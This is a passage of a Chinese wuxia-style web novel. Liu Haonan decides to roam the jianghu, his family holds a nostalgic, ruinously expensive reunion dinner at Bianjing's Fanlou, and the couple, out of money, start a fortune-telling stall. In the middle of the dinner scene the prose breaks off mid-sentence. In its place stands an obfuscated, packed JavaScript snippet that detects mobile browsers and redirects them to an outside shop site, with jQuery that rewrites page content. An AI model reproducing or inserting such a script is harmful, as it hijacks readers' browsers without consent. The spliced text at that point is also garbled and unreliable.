茶杯中澄碧的茶汤表面,因他无意识的手颤,漾开了一圈圈细微的涟漪。刘皓南怔怔地看着那不断扩散又消失的波纹,仿佛看见了自己半生走过的轨迹——从北汉皇孙到华山弟子,从辽国国师到辞官白身,每一步似乎都在各种“身份”与“责任”画下的牢笼中挣扎。而如今,他亲手打碎了最后一座牢笼,难道就是为了给自己打造另一座名为“归隐”、“安逸”的、更精致的囚笼吗? 穆桂英见他眼神剧烈波动,知他心绪已乱,语重心长,声音放缓了些,却依旧有力:“师兄,你半生纠缠于家国恩怨、朝堂倾轧,身心俱疲,渴望安宁,我明白。但安宁,未必只在深山无人处。江湖之大,百姓之广,何处不能容身?何处不需守护?以你之能,在这江湖之上,明辨是非,扶危济困,以手中剑、胸中谋,护佑一方百姓安宁,涤荡些许不平之事,这难道不比你枯坐山中,空对云海,更符合师父传你道统时所说的‘守护’真意吗?这难道不比你那‘闲云野鹤’的梦,来得更踏实,也更对得起你这身本事,对得起排风与你同甘共苦的情义吗?” 亭中一片寂静,只有晚风穿过竹叶的呜咽,和远处寨中隐约传来的犬吠人声。 良久,刘皓南缓缓地,极其缓慢地抬起头。他眼中的迷茫、震动,以及那一丝被刺痛后的难堪,渐渐沉淀下去,取而代之的,是一种被彻底点燃、恍如新生的光芒,那光芒越来越亮,越来越坚定。 “师妹……”他开口,声音有些沙哑,却带着前所未有的清明与力量,“你说得对。” 他长长地、深深地吸了一口气,仿佛将满亭暮色与天地清气都纳入了胸中,再缓缓吐出,随着这口气吐出的,似乎还有最后一丝对“归隐”幻梦的执着与逃避。 “我半生困于身份,囿于执念,如陷囹圄。如今枷锁既去,若只因倦怠,便欲缩回山中,图个清净,逃避余生,那才是真正的辜负——辜负了师父的教诲与期待,辜负了排风与我风雨同舟的情义,也辜负了……这重新得来,珍贵无比的自由之身,与这一身尚未老朽的筋骨技艺。” 他站起身,走到亭边,望着暮色中苍茫的远山与山下依稀的灯火,背影挺直如松,那股因辞官而略显暮沉的气息一扫而空,取而代之的是一种久违的、属于江湖,属于风云的锐气与生气。 “江湖路远,道阻且长。然,既已无官身之累,无国仇之缚,以此有用之身,行侠义之事,护可护之人,求心中之道,方不负此生,不负师门!” 穆桂英见他终于听进去,且眼神清亮,心气重燃,嘴角不禁扬起一抹真挚的、如释重负的笑意。她也站起身,走到他身侧,与他并肩眺望。 “客套话便免了。”她语气轻松下来,带着几分熟悉的、同门间的调侃,“将来在江湖上,别再像从前摆天门阵时那般,算计得太狠,死缠烂打,不给人留余地就行。” 她俏皮地眨了下眼,补充道,“总不能让隔壁玉女门看了咱们华山派的笑话,对吧?尤其将来某一天,骑在咱们两个师门头上耀武扬威的,说不定还是你那位被聂掌门宠上天去的宝贝女儿呢。” 刘皓南想到年仅七岁、已在玉女峰无法无天的女儿望舒,再想到聂隐娘那护短到毫无原则的性子,不由失笑摇头,笑容里满是无奈与纵容:“那丫头若尽得聂掌门真传,以她的性子,将来怕是不把华山和玉女峰都搅个天翻地覆,绝不会罢休。咱们这两派,说不定真得‘同仇敌忾’了。” 暮色渐浓,天边最后一道霞光将竹林染成温暖的紫色。二人并肩走出石亭,踏着沙沙作响的竹叶,向寨子方向行去。清风拂过,带走十五年恩怨纠葛。 “师兄保重。”穆桂英在竹林边驻足。 “师妹也保重。”刘皓南拱手作别,“他日江湖再见,再向师妹讨教《飞星二十六诀》的精要。” 穆桂英笑了。这一次的笑容里,没有试探,没有唏嘘,只有纯粹的同门之谊:“随时恭候。只是到时候,可别再让着我了。” 远在玉女峰,七岁的刘望舒正捏着糖人望北斗七星,浑然不知自己已成为两个师门未来的纽带。而她的父亲,此刻正走向一段全新的江湖旅程——那里有不同于朝堂规则的生存方式,有一种更广阔的“守护”等待他去践行。 27. 旧梦新价,天价团圆饭 汴京樊楼的灯火,煌煌如昼,映亮了半条御街,也照见了十五年前一句轻飘飘的戏言,在时光里发酵出的沉甸甸的重量。 暮色如淡墨,一点点浸透汴河荡漾的柔波。樊楼三重巍峨的飞檐下,千百盏琉璃风灯次第亮起,将这座东京七十二家正店之首的豪奢气派烘托得淋漓尽致。刘皓南握着杨排风的手,踏上门前被无数脚步磨得光润的青石阶。他指尖传来她掌心熟悉的薄茧触感——那是十二年风雨颠沛、刀枪棍棒也未曾磨去的粗糙与温热,此刻却让他无比心安。店小二早已殷勤地躬身迎上,油亮亮的唱诺声拖着悠长的调子,穿透楼内喧嚣的声浪:“贵客三位——楼上雅间请嘞——” 楼梯蜿蜒,楠木扶手光可鉴人。行至二楼转角处,杨排风忽然毫无预兆地停下了脚步。 她的目光,越过来往穿梭的锦衣食客、捧着食盘步履如飞的伙计,落在了东首临窗的第三张紫檀木八仙桌上。那里坐着一对衣着寻常、面带风尘的年轻夫妇,似是远道而来。男子正小心翼翼地撕下一只油亮喷香的烧鸡腿,先放在嘴边吹了吹,才递到身旁妻子碗里,低声说了句什么,女子抿嘴一笑,脸颊微红。桌上不过两三样简单菜肴,一壶浊酒,两人却吃得津津有味,眉眼间尽是平淡的满足。 烛火跃动,光影在那对年轻夫妇身上流转。杨排风望着,目光渐渐有些恍惚。刹那间,眼前精致的楼阁、喧嚣的人声、锦衣的宾客都模糊褪去,仿佛时光倒流——她看见十五年前的自己,那个穿着天波府粗使丫头衣衫、袖口还沾着灶灰的少女,紧张地攥着掌心两枚被汗水浸得发烫的铜钱,鼓起这辈子最大的勇气,走到同样的位置,对着当时忙碌的堂倌,声如蚊蚋地问:“这、这烧鸡……多少钱一只?” “排风?”刘皓南察觉到她的异样,停下脚步,轻声唤她。 “嗯?……没什么。”杨排风蓦地回神,视线从那对夫妇身上收回,重新落回丈夫关切的脸庞上。她唇角几不可察地抿起一丝极淡、却仿佛沉淀了岁月所有滋味的弧度,“只是……忽然想起些旧事。走吧。” 她反手轻轻握了握他的手,率先向楼上走去。只是步伐,似乎比方才慢了一些。 雅间“听雪轩”的门被推开,满室清雅的沉水香气息扑面而来。房间宽敞,陈设精洁,墙上挂着前朝名家的《樊楼夜宴图》,多宝格上摆着官窑瓷瓶,临街的窗户半敞,正好能望见汴河上星星点点的画舫灯火。 刘朔到底少年心性,进了门便如脱缰小马,嘴里嚷着“这位置好!”,抢先一步蹿到临窗的最佳位置。动作急了,宽大的袖袍带倒了案头一只插着半开腊梅的雨过天青瓷瓶!眼看那珍贵的瓶子就要砸在地上—— 电光石火间,少年身形以不可思议的角度一扭,右手如灵蛇出洞般向后一捞,指尖在瓶身将触未触地砖的刹那,稳稳托住了瓶底!整套动作行云流水,快得只留下一道残影。瓶中清水微漾,那几枝嫩黄腊梅,连花瓣都未曾颤动一下。 “好身手!”门外恰好经过、偷眼打量贵客的年轻店伙,看得目瞪口呆,忍不住脱口喝彩。 刘朔单手将花瓶放回原位,闻言挑眉,朝门口得意地扬了扬下巴,一副“小菜一碟”的模样。然而,他那双滴溜溜乱转的眼睛,却悄悄瞥向身后的父母。只见父亲刘皓南静静站在门边,目光并未看他炫技,而是出神地望着墙上那幅描绘樊楼昔日繁华的《夜宴图》,眼神悠远,不知想起了什么。母亲杨排风则缓步走到窗边,手指无意识地抚过那雕刻着缠枝莲纹的窗棂,指尖在某一处不起眼的、被岁月磨得光滑的木纹凹陷处,停留了许久——那里,有一个极淡的、歪歪扭扭的刻痕,仔细辨认可认出是半个“杨”字。是她当年,偷偷用削果皮的小银刀,怀着怎样雀跃又羞涩的心情,一点点刻下的。 刘朔看着父母的神情,少年灵透的心忽然像是被什么轻轻撞了一下。师傅凌霄子离京前,喝得酩酊大醉,拍着他肩膀说的那句胡话,此刻无比清晰地回响在耳边:“朔儿啊,你爹娘这两个人……啧,一个呢,把天大的深情都埋在那些鬼画符似的阵图星象里;另一个呢,把不敢说的念想,刻在木头疙瘩、石头缝里。别扭,真别扭!要不是当年那只烧鸡……嘿嘿,怕还没你这小猴子呢!” 当时他只当师傅又说醉话,此刻却忽然好像懂了一点点。 “小二!”少年心绪翻腾,忽然扬声高喊,清亮的嗓音惊起了檐下几只打盹的麻雀,扑棱棱飞入夜色。 早已侯在门外的,身着锦缎褙子,头戴方巾的伶俐堂倌,立刻端着鎏金边的泥金菜单,疾步躬身而入,脸上堆满职业化的热情笑容:“公子爷有何吩咐?咱们樊楼今日有刚到的黄河金鳞鲤,西域的驼峰炙,还有……” 他手中的菜单尚未完全展开,刘朔已劈手夺过,目光在那些令人眼花缭乱的菜名和后面小字标注的惊人价格上飞快扫过。少年抿了抿唇,眼底闪过一抹“反正爹有钱”的豁出去的光芒,指尖“啪”地一声,重重按在菜单头一版的头一行上。 “这烧鸡——”他故意拉长了调子,学着那些豪客的口气,“看着不错,来一只!不过,一只哪够?先来三只!要最肥的!” 堂倌脸上的笑容更盛,笔走龙蛇:“好嘞!三只樊楼头牌烧鸡!” “还有,”刘朔的手指顺着菜单往下滑,专挑那些名字气派、后面标价数字长的点,“这个,红羊坑,听说要用十八种香料文火煨一天?来一鼎!雪天牛舌,只取牛舌最当中那一点?啧,就来两盘!莲花鸭签,是御膳房流出来的做法?尝尝!海鲜脍,要现杀的活鱼活虾,片得薄如蝉翼那种!……还有这个、这个、这个……” 他每报出一个菜名,刘皓南负在身后的手指就几不可察地微微一动,待听到一连串的“驼峰炙”、“荔枝腰子”、“蟹酿橙”等明显价值不菲的菜肴时,他的眉心已开始隐隐跳动。 “酒嘛……”刘朔合上菜单,一副老饕模样,“听说你们掌柜私藏了一批极好的‘樊楼春’?不要那些寻常货色,就要窖藏了十五年以上的!记得,要足十五年,少一年都不行!” “樊楼春”三字一出,一直沉默旁观的刘皓南,袖中的手骤然握紧。那是他二人新婚之夜,在盛京温馨的新房里,对饮合卺的酒。酒液清冽甘醇,带着北地粮食特有的香气,也浸透了那一夜的红烛光影与无声誓言。 堂倌闻言,先是一惊,随即喜得连连躬身,腰都快弯到地上:“哎哟!小公子真是行家!真真是识货的贵人!不瞒您说,这足十五年的‘樊楼春’,如今全汴京城,满打满算也就只剩三坛了!一坛在三年前官家寿辰时进了宫,一坛被宰相府的管事重金求了去,这最后一坛……” 他压低了声音,神秘兮兮道,“可是咱们掌柜的命根子,等闲绝不示人。不过今日既是公子您这样的知音点了,小人拼着被掌柜责骂,也定然给您求来!” “那便是给我们留的。”刘朔截住他的话头,笑嘻嘻地转头,看向神色各异的父母,脸上露出混合着讨好与狡黠的笑容,“爹,娘,今日咱们一家难得团聚,又重回这故地,理应庆祝!这顿,算孩儿请客!” 他眨了眨眼,在父母开口前,又飞快地、理直气壮地补上半句,“当然……银子嘛,最后还是得爹您付账。孩儿这点私房钱,怕是连盘牛舌头都买不起。” 杨排风看着儿子那副故意摆出的“阔少”架势,又瞥见丈夫眉宇间那抹无奈与隐隐的肉痛,再想起方才楼下那对分食一只烧鸡的平凡夫妇,忽然“噗嗤”一声笑了出来。她怎会看不出这猴精小子那点曲折心思?这桌上点的每一道价值不菲的菜,要的每一坛有价无市的酒,哪里是为了口腹之欲?分明是在用这种近乎笨拙的方式,翻捡,拼凑,重现那些散落在十五年前光阴里的碎片,试图将父母缺失的,寻常的温馨与奢靡,一次性补偿回来。 她心中暖流涌动,又有些酸涩,忽然伸手,隔着衣袖,轻轻按在刘皓南微微颤抖的手腕上。肌肤相触,传递着无声的抚慰与“随他去吧”的纵容。 堂倌满脸堆笑地退下,细心地掩上了雅间的门。 寂静如同有形的薄纱,缓缓漫上来。窗外的汴河上,画舫里的丝竹管弦与歌妓婉转的唱词隐约飘入,与楼下大堂传来的轰然笑闹、行令猜拳声混作一片,却又仿佛隔着一层,更衬出此间的安静。 刘皓南走到窗边,与妻子并肩而立。他的手指,抚过窗棂上那道淡得几乎看不见的“杨”字刻痕,指尖传来木头温润的触感。 “那年……”他开口,声音有些低哑,仿佛怕惊扰了刻痕里沉睡的旧梦,“在山涧分别前,我说,等来日北汉复国成功,我必以王侯之礼迎你,带你吃遍天下珍馐美味,看尽世间繁华盛景。” 他顿了顿,似乎陷入遥远的回忆:“你却摇头,看着山下集镇微弱的灯火说,那些都不稀罕。只要……只要将来有机会,能堂堂正正坐在汴京樊楼里,烧鸡管够,吃一只,打包一只,便是最好的日子了。” 杨排风没有看他,目光落在窗外流淌的星河灯影上,指尖却轻轻移动,覆在他按着刻痕的手背上。两个人的体温透过微凉的木料,奇异地交融在一起,仿佛能穿越十五载寒暑,触碰到当年那个怀着隐秘期待、偷偷刻下姓氏的烧火丫头,那滚烫而羞涩的心跳。 “后来在盛京,做了国师夫人。”她轻轻笑了笑,语气平淡,像在说别人的事,“宫宴不知吃了多少回,御厨精心烹制的烧鸡,用金盘玉盏盛着,能摆满整张桌子。可我总觉得……缺了股味儿。” 缺的是什么味儿呢?是汴京樊楼后厨那终日不熄、带着松木香的灶膛里跃动的火焰气?是跑堂小二拖着油亮长腔、带着市井生命力的唱诺声?是周围食客肆无忌惮的谈笑与碗碟碰撞的嘈杂?还是……还是那只被撕下的鸡腿,递过来时,总会先轻声提醒一句“排风,小心烫”的,笨拙却温柔的瞬间? 精心烹制的菜肴开始一道道送上,摆满了偌大的圆桌。香气四溢,颜色诱人。红羊坑装在精致的青铜鼎里,汤汁浓白,羊肉酥烂;雪天牛舌切得薄如宣纸,莹白透亮,配着秘制蘸料;莲花鸭签造型别致,犹如盛放莲花;海鲜脍在冰盏上铺开,薄如蝉翼,在灯下泛着珍珠般的光泽……还有那三只油光红亮,表皮酥脆的樊楼烧鸡,散发着最为霸道而熟悉的焦香。 就在刘皓南看着这一桌价值不菲的菜肴,心中默默计算着所剩银两时,雅间的门又被推开,刘朔带着一身厨房特有的烟火油气蹿了回来,手里竟还宝贝似的拎着个普通的竹编食盒。 “爹,娘!看!”他兴冲冲地将食盒放在桌子空处,打开盖子——里面赫然是四只刚刚出炉、焦黄油亮、喷香扑鼻的烧鸡!看那朴素的油纸包装,明显是外带而非堂食的。“后厨掌勺的张大娘认得娘!硬塞给我的!说送给杨姑娘尝尝!” 杨排风彻底怔住。张大娘……那个总是笑眯眯,身材圆润的厨娘?记忆的闸门轰然打开。是了,当年她偶尔攒下几文钱,偷偷来樊楼买只烧鸡解馋,若是钱不够,那位好心的张大娘总会悄悄多塞给她一个鸡翅或鸡胗,然后摆摆手说:“不急,杨姑娘下回带来便是。” 那慈和的笑容,粗糙温暖的手,瞬间鲜活起来。 “她如今……”杨排风声音微涩。 “好着呢!”刘朔抢着回答,眉眼飞扬,“张大娘如今可是樊楼后厨的二把手啦!儿子、媳妇都在楼里帮工,掌勺的掌勺,管账的管账。她孙女更是了得,前年凭着好手艺,被选进宫里尚食局去了!大娘听说您来了,高兴得直抹眼泪,非要现杀鸡现做,说一定要让您尝尝她的手艺退步了没有!” 这一顿饭,吃得极慢,也极复杂。既有对往昔岁月苦涩而温馨的回味,有对儿子孝心的感动,也隐隐掺杂着一丝对着满桌“银子”的不安与奢侈感。红羊坑要用特制的银刀细细片开,蘸着腐乳韭菜花;雪天牛舌必须趁冰凉时入口,佐以十年陈的花雕,方显其脆嫩;莲花鸭签要热热地卷进新鲜蒸出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185055|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷叶饼里,一口咬下,丰腴的鸭肉与清爽的荷叶交织……刘朔在一旁喋喋不休,说着他跟着师傅凌霄子走南闯北的见闻,说师傅在华山炼丹又把丹炉炼炸了,半边胡子都烧焦了;说前几日玉女峰的小道童居然千里迢迢托人送来一包蜜渍梅子,说是“刘师姐给笨哥哥甜甜嘴”……少年鲜活的话语,冲淡了些许时光带来的沉重。 刘皓南很少动筷,大多时候只是静静看着。看杨排风咬下鸭签时,眼角漾开如水的细纹;看她饮下那琥珀色的“樊楼春”时,被酒意熏得微醺的明亮眸光;看她偶尔被儿子夸张的讲述逗笑,或是故意板起脸训斥他没规矩时,眉梢眼底那副灵动鲜活的神气——竟与十五年前那个在天波府后院,一边烧火一边偷听老兵讲古的丫头,依稀重叠。 终于,杯盘狼藉,酒意阑珊。 结账时,方才那伶俐的堂倌去而复返,手中捧着一把鎏金珠算盘,脸上笑容依旧热情,却多了几分郑重。他噼里啪啦拨动算珠,声音清脆,在突然安静下来的雅间里格外清晰。每一声脆响,都像敲在刘皓南的心上。 “承惠贵客——三只樊楼烧鸡,每只五两;红羊坑一鼎,时价四十八两;雪天牛舌两盘,每盘二十两;莲花鸭签、海鲜脍、驼峰炙、荔枝腰子、蟹酿橙……共计纹银一百八十六两。十五年窖藏‘樊楼春’一坛,” 堂倌顿了顿,报出一个让刘朔都瞪大了眼睛的数字,“此酒有价无市,掌柜说,至少值八十两。合计纹银……三百一十九两。零头给您抹了,承惠三百一十九两整。” 刘朔倒吸一口凉气,手里的茶盏差点没拿稳。他原只想小小地“奢侈”一把,让父母开心,哪想到这樊楼的物价如此骇人!三百多两银子!这足够寻常五口之家富足地过上好几年了!他偷偷抬眼去瞥父亲,心中忐忑又愧疚。 刘皓南面上看不出什么波澜,只是眼睫几不可察地垂了一下。他沉默片刻,从容地解下腰间悬挂的一枚玉佩,放在铺着锦缎的托盘上。那玉佩质地尚可,是上好的青玉,雕着简单的云纹,却并非价值连城的珍品。“这枚玉佩,抵二百两。”他声音平静,听不出情绪。 堂倌双手接过,仔细看了看,又觑了觑刘皓南的神色,恭敬地点点头:“是,此玉温润,雕工亦佳,作价二百两公道。” “余下的……”刘皓南抬眼,目光自然地转向身侧的杨排风。无需多言。 杨排风笑了笑,眼中并无窘迫,只有一片澄然的温柔。她伸手入怀,从贴身之处取出一枚金簪。簪身纤细,簪头却精心雕琢着一只引颈振翅、意欲高飞的仙鹤,鹤眼以细小的红宝石点缀,在灯光下流转着内敛的光华。“这是当年离宫时,萧太后所赐。值些银子,抵余下的数目,应当够了。” 堂倌双手捧过金簪,触手沉甸,雕工精湛,一望便知是宫中之物,价值绝不止百余两。他目光在眼前这对气质不凡,却出手典当随身之物的夫妇脸上转了转,忽然上前一步,压低了声音道:“二位贵客,掌柜的有吩咐。这顿饭……小店只收食材本钱与柴火人工,计一百五十两。这枚玉佩,绰绰有余了。余下的,算小店一点心意,恭贺您全家团圆之喜。” 刘皓南眉头微蹙,刚要开口推辞,雅间的帘子一动,一位头发花白、精神却矍铄、穿着体面绸衫的老者,已拄着紫竹杖,从门外缓缓踱了进来。正是樊楼如今的大掌柜。 老掌柜目光先落在杨排风脸上,仔细端详片刻,眼中闪过追忆与感慨,然后郑重地拱手行礼:“杨姑娘,一别多年,风采更胜往昔,老朽险些不敢认了。” 他又转向刘皓南,态度同样恭敬:“这位想必是刘先生。老朽眼拙,却也曾听闻先生当年风采。” 不待刘皓南回礼,老掌柜已颤巍巍地直起身,看着杨排风,温声道:“杨姑娘可能不记得了。十五年前,您偶尔来小店,时常赊账。有一次,您看中一只烧鸡,钱却差了两文。老朽当时就在柜台后,说差两文不妨事,您却坚持说下回补上。那只烧鸡,一共三十文钱,您赊了两文。” 他顿了顿,目光扫过桌上那枚鹤簪和玉佩,笑容慈和而豁达:“这笔账,老朽可一直记在心里呢。今日这顿酒菜,就算连本带利,还了当年那二文钱的债,如何?至于这金簪,还请二位务必收回。故人重逢,欢喜无量,岂是金银可计?” 暮色早已深浓如墨,汴河两岸灯火却愈发璀璨。一家三口走出樊楼那流光溢彩的大门,步入带着河水湿气的晚风之中。刘朔怀里抱着那个装有四只张大娘所赠烧鸡的食盒,亦步亦趋地跟在父母身后。走了几步,他终究忍不住,凑上前小声问:“爹……咱、咱们现在,还剩多少银子?” 月光与街边店铺的灯光交织落下。刘皓南停下脚步,伸手入怀,摸索了片刻,掏出那个原本鼓鼓囊囊、此刻却空瘪得可怜的锦缎钱袋,当众打开,将袋口朝下倒了倒。 “叮、叮、叮。” “三枚磨得发亮的天圣元宝,落在少年慌忙伸出的掌心,发出清脆而寂寥的响声。” 月光下,那三枚铜钱泛着黯淡的光泽。不多不少,正是少年杨排风站在樊楼大堂里,攥得手心出汗、怯生生问价时,掌心的数目。 一阵短暂的沉默。 然后,杨排风忽然伸出手,挽住了刘皓南的手臂。她仰起脸,就着满街煌煌的灯火看他,眉眼舒展,唇角噙着的笑意温柔澄澈,恍如十五年前那个单纯的烧火丫头,也带着历经千帆后的从容与满足。 “正好,”她的声音轻快,仿佛丢掉了最后一丝沉重,“明日东十字街早市刚开时,炊饼最是新鲜热乎,三文钱……还能买三个呢。你一个,朔儿一个,我一个。” 汴河的风吹散酒气,樊楼的灯火渐次熄灭。而远在江南的运河上,有艘客船正缓缓驶向新的黎明。船头并肩立着的夫妻并不知道,他们的人生从今夜起,将翻开截然不同的篇章。 但至少此刻,他们手握三枚铜钱,像握着整个江湖最珍贵的宝藏。 28. 摆摊谋生,人间烟火 汴京“云来苑”天字上房内,名贵的沉水香静静燃至三更,清冽的香气弥漫一室,却驱不散刘皓南眉宇间那缕凝而不散的沉郁。烛火在精雕细刻的鎏金鹤形灯台上不安地跳跃,将他伏案清点的身影拉长,投在身后那幅巨大的苏绣云锦屏风上,影影绰绰,竟有几分孤峭。他面前那张宽大的紫檀木桌案上,整整齐齐码着七锭成色十足的雪花纹银,旁边散放着三串用麻绳穿好的铜钱,每串百文。这便是他们夫妇此刻全部的可动现银了。 “云来苑”,汴京七十二家正店中稳居前三的奢华客栈。这天字上房,一夜宿费便需五两雪花银,足够汴京城中一户中等人家半年的嚼用。房间陈设极尽豪奢,皆暗暗比照三品以上官员的规格:金丝楠木打造的拔步床上悬着轻薄如雾、价值千金的南海鲛绡帐;紫檀木的翘头案上供着官窑烧制的雨过天青釉梅瓶,瓶中插着时令鲜花;连净手用的黄铜盆,外壁都錾刻着繁复精美的缠枝莲纹。三日前他们入住时,掌柜见二人气度不凡,尤其刘皓南虽身着布衣,但行止从容,眉宇间那份久居人上的威仪与疏离难以掩饰,心下暗忖:这通身的气派,若非是京中要员,便是累世簪缨的世家子弟,再不然,便是富可敌国的豪商巨贾。于是不敢怠慢,特意殷勤奉上每年仅产八两、专供宫中的极品‘雪顶含翠’。 一路从辽国盛京南下,刘皓南虽已辞官,但多年身处权力顶峰的积习难改,潜意识里仍保持着昔日在国师府的作派与眼界——住宿非顶级上房不可,饮食必求时令珍馐,车马亦要宽敞舒适。今日在樊楼那一顿耗尽积蓄的“团圆宴”,更是将这种不谙民间疾苦、对银钱缺乏具体概念的“大手笔”体现得淋漓尽致。此刻,指尖抚过最后一锭银子冰凉的边缘,刘皓南才真正开始意识到“坐吃山空”四字的分量。 “排风,”他转过身,望向正在灯下默默整理行装的妻子,声音里带着一丝自己都未察觉的干涩,“你身上……可还有些余钱?细碎的也行。” 杨排风闻言,放下手中叠了一半的衣物,走到床边那只陪嫁的枣木匣子前,从最底层摸出一个杏色的旧绣囊。她走回桌边,将绣囊口朝下,轻轻一抖。一对做工普通,却擦拭得锃亮的绞丝银镯,三枚样式古朴的鎏金花钿,以及一小撮散碎银子,几十枚铜钱,叮叮当当地落在光滑的紫檀桌面上,与那七锭元宝形成刺眼的对比。 “这对镯子,是娘留给我的念想,不能动。”杨排风指着银镯,声音平静,指尖却无意识地摩挲了一下镯身,“花钿也值不了几个钱。这些碎银铜钱……加起来约莫三四两,怕是连雇一辆像样些的、去往下一站的马车都不够了。” 刘皓南的目光掠过那些微薄的财物,心下一沉。他起身,下意识地踱步到西厢房门口——那是儿子刘朔的房间。推开门,烛台上残烛犹燃,昏黄的光晕笼着空荡荡的房间。雕花圆桌的正中央,端端正正地放着一锭一两重的雪花银,下面压着一张淡粉的薛涛笺。 他拿起银子和信笺。纸上墨迹酣畅淋漓,飞扬跋扈,正是刘朔那手深得师叔凌霄子“精髓”的狂草,字里行间透着一股“混不吝”的理直气壮: “父亲大人尊前,儿朔顿首百拜: 常言道,儿子吃饭,老子给钱,此乃天经地义,乾坤正道。 然,儿近日观父亲颜色,似有阮囊羞涩之困。身为人子,岂能坐视?特将平日积攒之零用,回馈纹银一两,聊表孝心,父亲切莫推辞,推辞便是看不起儿子。 儿深感江湖广大,学问无穷,终日困守父母膝下,非大丈夫所为。故已自去游历,增广见闻,父亲母亲勿念,亦不必太感动。 朔儿再拜顿首 又及:房钱记得付清,莫要拖欠,坏了咱们华山派响当当的名头!” 笺纸翻到背面,还有一行更小、却更显得意的字迹,墨色略新,显然是后来添上的: “师傅凌霄子真人教诲:没钱时,面子最不值钱。与父共勉。” 刘皓南盯着这封信,尤其是最后那句“教诲”,半晌,竟是气极反笑,低声骂了句:“好个‘理不直气也壮’的小混账!” 这话他太熟悉了。二十年前,华山藏经阁,那本师尊陈希夷亲批的《紫微斗数》珍本扉页上,就龙飞凤舞地写着这么一句混账话,落款正是他那放荡不羁的师叔凌霄子。当年他少年老成,一心向道,对此等言论嗤之以鼻,视为歪理。万万没想到,二十年后,这话竟被师叔教给了自己儿子,反过来“孝敬”到了自己头上! “咚——咚!咚!咚!” 更夫沉闷的梆子声穿透夜色,清晰传来,已是四更天了。 刘皓南捏着那一两银子和令人哭笑不得的信笺,沉默地回到主房。他将桌上那些散碎银钱,一枚一枚,极其缓慢地拾起,放回杨排风那个杏色旧绣囊中。每一枚铜钱落入囊中的轻微声响,都像是在敲打他过往近四十年的人生。这一两银子,在如今的汴京,只够在潘楼东街那些胡商店里买一盒中等档次的海外香料,或者雇佣三辆最普通的青幔马车,往返于城内与郊外一趟。 杨排风一直安静地看着他,此刻才轻声开口,声音里没有抱怨,只有陈述事实的平静:“掌柜的说了,巳时(上午九点)前后会来结这三日的账。若是……若是付不出,按规矩,恐怕得要抵押些随身物件抵值了。” 刘皓南闻言,倏地抬头,目光如电,再次扫过这间他住了三日的奢华上房。墙上那幅仿范宽的《雪景寒林图》,笔法虽佳,却难掩匠气;多宝格上的官窑梅瓶,釉色莹润,却是本朝新烧的款式;身下坐的紫檀木圈椅,木质坚实,但纹路与做工,也只是富户家中常见的档次……这些陈设,件件都摆在最显眼处,竭力烘托着“贵客盈门”的排场,实则都是些市面银钱便可购得的货色,专为镇住那些乍富贵、好虚荣的客人。 而他,一个能让店家误以为是“京中要员”或“世家子弟”的人,此刻却连十五两的房费并酒菜钱也拿不出来。这份认知带来的讽刺,远比屋陈设本身的浮夸,更让他感到一种冰冷的清醒。 晨光终究还是穿透了昂贵的蝉翼纱窗,将室内奢华的陈设镀上一层柔和的、却略带讽刺意味的金边。刘皓南走到那面光可鉴人的落地铜镜前,望向镜中之人。 面容依旧端正,眉宇间依稀可见昔年执掌北院、布阵天门的深沉与威仪,只是眼角唇边,到底被岁月和近年来的心力交瘁刻下了细纹。身上洗得发白的青布道袍,与这满室奢华格格不入,更与他眉宇间残留的,属于上位者的气度形成一种奇异而尴尬的冲突。半生纵横,他曾算计过天门阵中万千兵马的生死之门,推演过宋、辽、夏三国之间微妙如走钢丝的天下大局,执掌过足以让无数人家破人亡,也能让更多人飞黄腾达的权柄。如今,英雄末路,美人迟暮?不,或许还没到那一步。但确确实实,他站在这里,要为区区三日客栈的房资银钱,辗转反侧,甚至可能要面临抵押物品的窘境。 这是一种极其陌生、也极其尖锐的体验。它不同于战场失利、政斗失败带来的挫败与愤怒,那是一种更为具体、也更为琐碎的“失重”与“无力”。仿佛一直赖以行走的高跷突然被抽去,必须靠自己的双脚,重新踩在实实在在、甚至有些粗粝的土地上。 他凝视着镜中的自己良久,忽然开口,声音平静,却带着一种破釜沉舟般的决断:“排风,你说……若是在这汴京城里,支个卦摊,一日下来,大概能挣得多少银钱?” 杨排风正在折叠最后一床锦被,闻言动作微微一顿。她抬起头,望向丈夫挺直却似乎又有些不同的背影,静默了一瞬,随即,眼角那细细的,盛满岁月与风霜的笑纹,缓缓漾开,如同春风吹过湖面。那笑容里,没有惊讶,没有质疑,只有全然的了解与支持,甚至还有一丝隐约的、如释重负的轻松。 “那可得看……”她放下锦被,走到他身边,与他一同望向镜中,语气带着熟悉的,灵动的调侃,“看咱们‘铁口直断’刘先生的招牌,够不够响亮,算得准不准,以及……” 她故意顿了顿,眼中闪着光,“以及咱们刘先生,拉不拉得下脸,去赚那市井百姓的三文五文了。” 卯时三刻,晨雾将散未散,汴河上升腾的水汽与城中早起的炊烟混作一片。州桥畔,夜市的热闹刚歇,早市的喧嚣已起。贩夫走卒的吆喝,漕船靠岸的号子,早点摊子油锅的滋啦声,交织成汴京清晨最鲜活蓬勃的乐章。 桥头那株不知年岁的垂柳下,一个新的卦摊悄然支起。一张半旧的柏木桌案,两把简陋的竹凳,一方洗得发白、却熨烫得十分平整的青色粗布,用一块边缘有些磨损的紫檀木镇纸压着桌角——那是杨排风昨夜,就着昏暗的灯火,用修眉的小刀,一点点从客栈房中那方上等端砚旁“顺”来的,权当是她为这崭新生活刻下的第一个印记。 刘皓南换下了之前那身料子尚可的青袍,穿着一件洗得微微发白、肘部甚至有些纤维磨损的靛蓝粗布道袍。袖口处,有两处颜色略深的细密针脚补丁,是杨排风连夜缝补的。这件道袍的衬里,原本用金线绣着北斗七星的暗纹,是当年国师身份的象征。昨夜杨排风就着灯光,小心翼翼地将那些金线一一拆下,此刻,那些曾经象征无上权柄的金线,被搓成了细细的流苏,缀在了卦摊的布幌边缘。她拆线时曾说:“国师袍子好看是好看,就是太沉,金线也扎人,不适合汴京这湿热的夏天,更不适合你要做的事情。这样改了,轻省,也实用。” 